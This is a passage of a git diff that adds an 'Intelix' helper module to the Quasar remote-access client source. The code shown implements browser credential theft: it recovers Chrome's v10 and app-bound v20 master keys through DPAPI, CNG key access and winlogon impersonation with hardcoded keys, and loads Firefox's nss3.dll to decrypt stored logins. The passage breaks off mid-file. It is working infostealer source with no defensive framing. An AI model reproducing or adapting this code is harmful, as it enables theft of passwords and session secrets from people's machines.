172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u, + 3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u, + 2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u, + 1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u, + 1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u, + 2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u, + 2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u, + 1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u, + 2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u, + 3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u, + 2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u, + 4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u, + 3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u, + 3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u, + 908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u + }, + { + 976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u, + 3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u, + 1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u, + 1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u, + 673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u, + 2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u, + 530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u, + 4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u, + 3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u, + 55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u, + 3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u, + 1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u, + 3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u, + 2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u, + 3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u, + 3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u, + 445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u, + 4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u, + 3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u, + 3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u, + 3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u, + 2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u, + 3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u, + 3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u, + 2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u, + 1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u + } + }; + + private uint[] SubKey; + + private uint[,] SBox; + + private uint _F_Transform(uint x) + { + byte[] bytes = BitConverter.GetBytes(x); + if (!BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]]; + } + + public void Encrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array, 0); + uint num2 = BitConverter.ToUInt32(array2, 0); + num ^= SubKey[0]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[1]; + num ^= _F_Transform(num2); + num ^= SubKey[2]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[3]; + num ^= _F_Transform(num2); + num ^= SubKey[4]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[5]; + num ^= _F_Transform(num2); + num ^= SubKey[6]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[7]; + num ^= _F_Transform(num2); + num ^= SubKey[8]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[9]; + num ^= _F_Transform(num2); + num ^= SubKey[10]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[11]; + num ^= _F_Transform(num2); + num ^= SubKey[12]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[13]; + num ^= _F_Transform(num2); + num ^= SubKey[14]; + num2 ^= _F_Transform(num); + num2 ^= SubKey[15]; + num ^= _F_Transform(num2); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + array = BitConverter.GetBytes(num2); + array2 = BitConverter.GetBytes(num); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public void Decrypt(byte[] srcBytes, Endian endian) + { + byte[] array = new byte[4]; + byte[] array2 = new byte[4]; + Array.Copy(srcBytes, 0, array, 0, 4); + Array.Copy(srcBytes, 4, array2, 0, 4); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + uint num = BitConverter.ToUInt32(array2, 0); + uint num2 = BitConverter.ToUInt32(array, 0); + num ^= SubKey[16]; + num2 ^= SubKey[17]; + num ^= _F_Transform(num2); + num2 ^= SubKey[15]; + num2 ^= _F_Transform(num); + num ^= SubKey[14]; + num ^= _F_Transform(num2); + num2 ^= SubKey[13]; + num2 ^= _F_Transform(num); + num ^= SubKey[12]; + num ^= _F_Transform(num2); + num2 ^= SubKey[11]; + num2 ^= _F_Transform(num); + num ^= SubKey[10]; + num ^= _F_Transform(num2); + num2 ^= SubKey[9]; + num2 ^= _F_Transform(num); + num ^= SubKey[8]; + num ^= _F_Transform(num2); + num2 ^= SubKey[7]; + num2 ^= _F_Transform(num); + num ^= SubKey[6]; + num ^= _F_Transform(num2); + num2 ^= SubKey[5]; + num2 ^= _F_Transform(num); + num ^= SubKey[4]; + num ^= _F_Transform(num2); + num2 ^= SubKey[3]; + num2 ^= _F_Transform(num); + num ^= SubKey[2]; + num ^= _F_Transform(num2); + num2 ^= SubKey[1]; + num2 ^= _F_Transform(num); + num ^= SubKey[0]; + array = BitConverter.GetBytes(num); + array2 = BitConverter.GetBytes(num2); + if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little)) + { + Array.Reverse(array); + Array.Reverse(array2); + } + Array.Copy(array, 0, srcBytes, 0, 4); + Array.Copy(array2, 0, srcBytes, 4, 4); + } + + public Blowfish(byte[] UserKey) + { + if (UserKey.Length < MinUserKeyLength) + { + throw new ArgumentException("UserKey is too short."); + } + if (UserKey.Length > 56) + { + throw new ArgumentException("UserKey is too long."); + } + SubKey = OriginPBox.Clone() as uint[]; + SBox = OriginSBox.Clone() as uint[,]; + for (int i = 0; i < 18; i++) + { + uint num = 0u; + num <<= 8; + num |= UserKey[i * 4 % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 1) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 2) % UserKey.Length]; + num <<= 8; + num |= UserKey[(i * 4 + 3) % UserKey.Length]; + SubKey[i] ^= num; + } + byte[] array = new byte[8]; + for (int j = 0; j < 9; j++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8); + } + for (int k = 0; k < 4; k++) + { + for (int l = 0; l < 128; l++) + { + Encrypt(array, Endian.Little); + Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs new file mode 100755 index 0000000..9200cdc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs @@ -0,0 +1,244 @@ +using System; +using System.Numerics; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +public static class ChaCha20Poly1305 +{ + public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null) + { + if (key32 == null) + { + throw new ArgumentNullException("key32"); + } + if (key32.Length != 32) + { + throw new ArgumentException("Key must be 32 bytes", "key32"); + } + if (iv12 == null) + { + throw new ArgumentNullException("iv12"); + } + if (iv12.Length != 12) + { + throw new ArgumentException("IV must be 12 bytes", "iv12"); + } + if (ciphertext == null) + { + throw new ArgumentNullException("ciphertext"); + } + if (tag == null) + { + throw new ArgumentNullException("tag"); + } + if (tag.Length != 16) + { + throw new ArgumentException("Tag must be 16 bytes", "tag"); + } + if (aad == null) + { + aad = new byte[0]; + } + byte[] array = ChaCha20Block(key32, 0u, iv12); + byte[] array2 = new byte[32]; + Buffer.BlockCopy(array, 0, array2, 0, 32); + byte[] msg = BuildPoly1305Message(aad, ciphertext); + if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag)) + { + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch)."); + } + byte[] array3 = new byte[ciphertext.Length]; + ChaCha20Xor(key32, 1u, iv12, ciphertext, array3); + Array.Clear(array, 0, array.Length); + Array.Clear(array2, 0, array2.Length); + return array3; + } + + private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12) + { + uint[] array = new uint[16] + { + 1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u, + 0u, 0u, 0u, 0u, 0u, 0u + }; + for (int i = 0; i < 8; i++) + { + array[4 + i] = ToUInt32Little(key32, i * 4); + } + array[12] = counter; + array[13] = ToUInt32Little(nonce12, 0); + array[14] = ToUInt32Little(nonce12, 4); + array[15] = ToUInt32Little(nonce12, 8); + uint[] array2 = new uint[16]; + Array.Copy(array, array2, 16); + for (int j = 0; j < 10; j++) + { + QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]); + QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]); + QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]); + QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]); + QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]); + QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]); + QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]); + QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]); + } + byte[] array3 = new byte[64]; + for (int k = 0; k < 16; k++) + { + LittleEndian(array2[k] + array[k], array3, k * 4); + } + return array3; + } + + private static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d) + { + a += b; + d ^= a; + d = Rol(d, 16); + c += d; + b ^= c; + b = Rol(b, 12); + a += b; + d ^= a; + d = Rol(d, 8); + c += d; + b ^= c; + b = Rol(b, 7); + } + + private static uint Rol(uint x, int n) + { + return (x << n) | (x >> 32 - n); + } + + private static uint ToUInt32Little(byte[] bs, int off) + { + return (uint)(bs[off] | (bs[off + 1] << 8) | (bs[off + 2] << 16) | (bs[off + 3] << 24)); + } + + private static void LittleEndian(uint v, byte[] outbuf, int off) + { + outbuf[off] = (byte)(v & 0xFF); + outbuf[off + 1] = (byte)((v >> 8) & 0xFF); + outbuf[off + 2] = (byte)((v >> 16) & 0xFF); + outbuf[off + 3] = (byte)((v >> 24) & 0xFF); + } + + private static void ChaCha20Xor(byte[] key, uint counter, byte[] nonce, byte[] input, byte[] output) + { + if (input == null || input.Length == 0) + { + return; + } + int i = 0; + uint num = counter; + int num2; + for (; i < input.Length; i += num2) + { + byte[] array = ChaCha20Block(key, num, nonce); + num++; + num2 = Math.Min(64, input.Length - i); + for (int j = 0; j < num2; j++) + { + output[i + j] = (byte)(input[i + j] ^ array[j]); + } + } + } + + private static byte[] BuildPoly1305Message(byte[] aad, byte[] ciphertext) + { + int num = ((aad != null) ? aad.Length : 0); + int num2 = ((ciphertext != null) ? ciphertext.Length : 0); + int num3 = (16 - num % 16) % 16; + int num4 = (16 - num2 % 16) % 16; + byte[] array = new byte[num + num3 + num2 + num4 + 8 + 8]; + int num5 = 0; + if (num > 0) + { + Buffer.BlockCopy(aad, 0, array, num5, num); + num5 += num; + } + if (num3 > 0) + { + num5 += num3; + } + if (num2 > 0) + { + Buffer.BlockCopy(ciphertext, 0, array, num5, num2); + num5 += num2; + } + if (num4 > 0) + { + num5 += num4; + } + byte[] bytes = BitConverter.GetBytes((ulong)num); + byte[] bytes2 = BitConverter.GetBytes((ulong)num2); + Buffer.BlockCopy(bytes, 0, array, num5, 8); + num5 += 8; + Buffer.BlockCopy(bytes2, 0, array, num5, 8); + num5 += 8; + return array; + } + + private static byte[] Poly1305TagWithBigInteger(byte[] oneTimeKey32, byte[] msg) + { + byte[] array = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 0, array, 0, 16); + array[3] &= 15; + array[7] &= 15; + array[11] &= 15; + array[15] &= 15; + array[4] &= 252; + array[8] &= 252; + array[12] &= 252; + byte[] array2 = new byte[16]; + Buffer.BlockCopy(oneTimeKey32, 16, array2, 0, 16); + BigInteger bigInteger = new BigInteger(AppendZero(array)); + BigInteger bigInteger2 = new BigInteger(AppendZero(array2)); + BigInteger bigInteger3 = (BigInteger.One << 130) - 5; + BigInteger bigInteger4 = BigInteger.Zero; + for (int i = 0; i < msg.Length; i += 16) + { + int num = Math.Min(16, msg.Length - i); + byte[] array3 = new byte[num]; + Buffer.BlockCopy(msg, i, array3, 0, num); + BigInteger bigInteger5 = new BigInteger(AppendZero(array3)); + BigInteger bigInteger6 = BigInteger.One << 8 * num; + bigInteger5 += bigInteger6; + bigInteger4 += bigInteger5; + bigInteger4 = bigInteger4 * bigInteger % bigInteger3; + } + byte[] array4 = (bigInteger4 + bigInteger2).ToByteArray(); + byte[] array5 = new byte[16]; + for (int j = 0; j < 16 && j < array4.Length; j++) + { + array5[j] = array4[j]; + } + return array5; + } + + private static byte[] AppendZero(byte[] b) + { + byte[] array = new byte[b.Length + 1]; + Buffer.BlockCopy(b, 0, array, 0, b.Length); + array[array.Length - 1] = 0; + return array; + } + + private static bool FixedTimeEquals(byte[] a, byte[] b) + { + if (a == null || b == null || a.Length != b.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < a.Length; i++) + { + num |= a[i] ^ b[i]; + } + return num == 0; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs new file mode 100755 index 0000000..5c55ac7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs @@ -0,0 +1,51 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public static class CngDecryptor +{ + private const int NCRYPT_SILENT_FLAG = 64; + + public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1") + { + IntPtr phProvider = IntPtr.Zero; + IntPtr phKey = IntPtr.Zero; + try + { + int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}"); + } + num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0); + if (num != 0) + { + throw new Exception($"Ошибка NCryptOpenKey: Код {num}"); + } + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}"); + } + byte[] array = new byte[pcbResult]; + num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64); + if (num != 0) + { + throw new Exception($"Ошибка NCryptDecrypt: Код {num}"); + } + Array.Resize(ref array, pcbResult); + return array; + } + finally + { + if (phKey != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phKey); + } + if (phProvider != IntPtr.Zero) + { + NativeMethods.NCryptFreeObject(phProvider); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs new file mode 100755 index 0000000..0f978ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs @@ -0,0 +1,48 @@ +using System; +using System.Runtime.InteropServices; + +namespace Intelix.Helper.Encrypted; + +public static class DpApi +{ + private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct + { + cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)), + dwPromptFlags = 0, + hwndApp = IntPtr.Zero, + szPrompt = null + }; + + public static byte[] Decrypt(byte[] bCipher) + { + NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob); + NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob); + string ppszDataDescr = string.Empty; + GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned); + pDataIn.cbData = bCipher.Length; + pDataIn.pbData = gCHandle.AddrOfPinnedObject(); + try + { + if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0) + { + return null; + } + byte[] array = new byte[pDataOut.cbData]; + Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData); + return array; + } + finally + { + gCHandle.Free(); + if (pDataOut.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pDataOut.pbData); + } + if (pOptionalEntropy.pbData != IntPtr.Zero) + { + Marshal.FreeHGlobal(pOptionalEntropy.pbData); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs new file mode 100755 index 0000000..154d807 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs @@ -0,0 +1,68 @@ +using System; +using System.Text; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class LocalEncryptor +{ + public static byte[] ExtractEncryptionKey(SqLite sql, byte[] encryptionKey) + { + byte[] array = new byte[0]; + if (sql.ReadTable("meta")) + { + for (int i = 0; i < sql.GetRowCount(); i++) + { + if (sql.GetValue(i, 0).Equals("local_encryptor_data")) + { + array = Encoding.Default.GetBytes(sql.GetValue(i, 1)); + break; + } + } + } + int num = FindByteSequence(array, Encoding.ASCII.GetBytes("v10")); + if (num == -1) + { + return null; + } + byte[] array2 = new byte[96]; + Array.Copy(array, num + 3, array2, 0, 96); + byte[] array3 = new byte[12]; + Array.Copy(array2, 0, array3, 0, 12); + int num2 = array2.Length - 12 - 16; + byte[] array4 = new byte[num2]; + Array.Copy(array2, 12, array4, 0, num2); + byte[] array5 = new byte[16]; + Array.Copy(array2, array2.Length - 16, array5, 0, 16); + byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5); + if (BitConverter.ToInt32(array6, 0) == 538050824) + { + byte[] array7 = new byte[32]; + Array.Copy(array6, 4, array7, 0, 32); + return array7; + } + return null; + } + + private static int FindByteSequence(byte[] src, byte[] pattern) + { + int num = src.Length - pattern.Length + 1; + for (int i = 0; i < num; i++) + { + if (src[i] != pattern[0]) + { + continue; + } + int num2 = pattern.Length - 1; + while (num2 >= 1 && src[i + num2] == pattern[num2]) + { + if (num2 == 1) + { + return i; + } + num2--; + } + } + return -1; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs new file mode 100755 index 0000000..2932d1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace Intelix.Helper.Encrypted; + +public static class LocalState +{ + private static readonly ConcurrentDictionary> _masterKeyCacheV10 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary> _masterKeyCacheV20 = new ConcurrentDictionary>(); + + private static readonly ConcurrentDictionary _locks = new ConcurrentDictionary(); + + public static List GetMasterKeys() + { + List list = new List(); + foreach (KeyValuePair> item in _masterKeyCacheV10) + { + try + { + string text = item.Key ?? ""; + Lazy value = item.Value; + if (value == null) + { + continue; + } + byte[] value2 = value.Value; + if (value2 != null) + { + StringBuilder stringBuilder = new StringBuilder(value2.Length * 2); + byte[] array = value2; + foreach (byte b in array) + { + stringBuilder.Append(b.ToString("X2")); + } + list.Add(new string[3] + { + text, + "v10", + stringBuilder.ToString() + }); + } + } + catch + { + } + } + foreach (KeyValuePair> item2 in _masterKeyCacheV20) + { + try + { + string text2 = item2.Key ?? ""; + Lazy value3 = item2.Value; + if (value3 == null) + { + continue; + } + byte[] value4 = value3.Value; + if (value4 != null) + { + StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2); + byte[] array = value4; + foreach (byte b2 in array) + { + stringBuilder2.Append(b2.ToString("X2")); + } + list.Add(new string[3] + { + text2, + "v20", + stringBuilder2.ToString() + }); + } + } + catch + { + } + } + return list; + } + + public static byte[] MasterKeyV20(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV20.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV20(localstate)); + _masterKeyCacheV20[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV20(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\""); + if (!match.Success) + { + return null; + } + BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray())); + switch (blobParsedData.Flag) + { + case 1: + return AesGcm256.Decrypt(new byte[32] + { + 179, 28, 110, 36, 26, 200, 70, 114, 141, 169, + 193, 250, 196, 147, 102, 81, 207, 251, 148, 77, + 20, 58, 184, 22, 39, 107, 204, 109, 160, 40, + 71, 135 + }, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + case 2: + return ChaCha20Poly1305.Decrypt(new byte[32] + { + 233, 143, 55, 215, 244, 225, 250, 67, 61, 25, + 48, 77, 194, 37, 128, 66, 9, 14, 45, 29, + 126, 234, 118, 112, 212, 31, 115, 141, 8, 114, + 150, 96 + }, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag); + case 3: + { + byte[] array = new byte[32] + { + 204, 248, 161, 206, 197, 102, 5, 184, 81, 117, + 82, 186, 26, 45, 6, 28, 3, 162, 158, 144, + 39, 79, 178, 252, 245, 155, 164, 183, 92, 57, + 35, 144 + }; + byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey); + for (int i = 0; i < array2.Length; i++) + { + array2[i] ^= array[i]; + } + return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag); + } + case 32: + return blobParsedData.EncryptedAesKey; + default: + return null; + } + } + catch + { + return null; + } + } + + public static byte[] MasterKeyV10(string localstate) + { + SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1)); + orAdd.Wait(); + try + { + if (_masterKeyCacheV10.TryGetValue(localstate, out var value)) + { + return value.Value; + } + Lazy lazy = new Lazy(() => ComputeMasterKeyV10(localstate)); + _masterKeyCacheV10[localstate] = lazy; + return lazy.Value; + } + finally + { + orAdd.Release(); + } + } + + private static byte[] ComputeMasterKeyV10(string localstate) + { + try + { + Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\""); + if (!match.Success) + { + return null; + } + return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray()); + } + catch + { + return null; + } + } + + private static byte[] CDecryptor(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + return CngDecryptor.Decrypt(encryptedData); + } + } + + private static byte[] DecryptAsSystemUser(byte[] encryptedData) + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + encryptedData = DpApi.Decrypt(encryptedData); + } + return DpApi.Decrypt(encryptedData); + } + + private static string LocalStateContent(string localstate) + { + string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + File.Copy(localstate, text, overwrite: true); + string result = File.ReadAllText(text); + File.Delete(text); + return result; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs new file mode 100755 index 0000000..f2ecafb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs @@ -0,0 +1,80 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class NSSDecryptor +{ + public struct SECItem + { + public int Type; + + public IntPtr Data; + + public int Len; + } + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Init(string configdir); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Shutdown(); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx); + + public static bool Initialize(string profilePath) + { + try + { + string text = "C:\\Program Files\\Mozilla Firefox"; + if (!Directory.Exists(text)) + { + return false; + } + string environmentVariable = Environment.GetEnvironmentVariable("PATH"); + environmentVariable = environmentVariable + ";" + text; + Environment.SetEnvironmentVariable("PATH", environmentVariable); + return NSS_Init(profilePath) == 0; + } + catch + { + return false; + } + } + + public static string Decrypt(string base64) + { + try + { + byte[] array = Convert.FromBase64String(base64); + if (array.Length == 0) + { + return null; + } + SECItem data = new SECItem + { + Data = 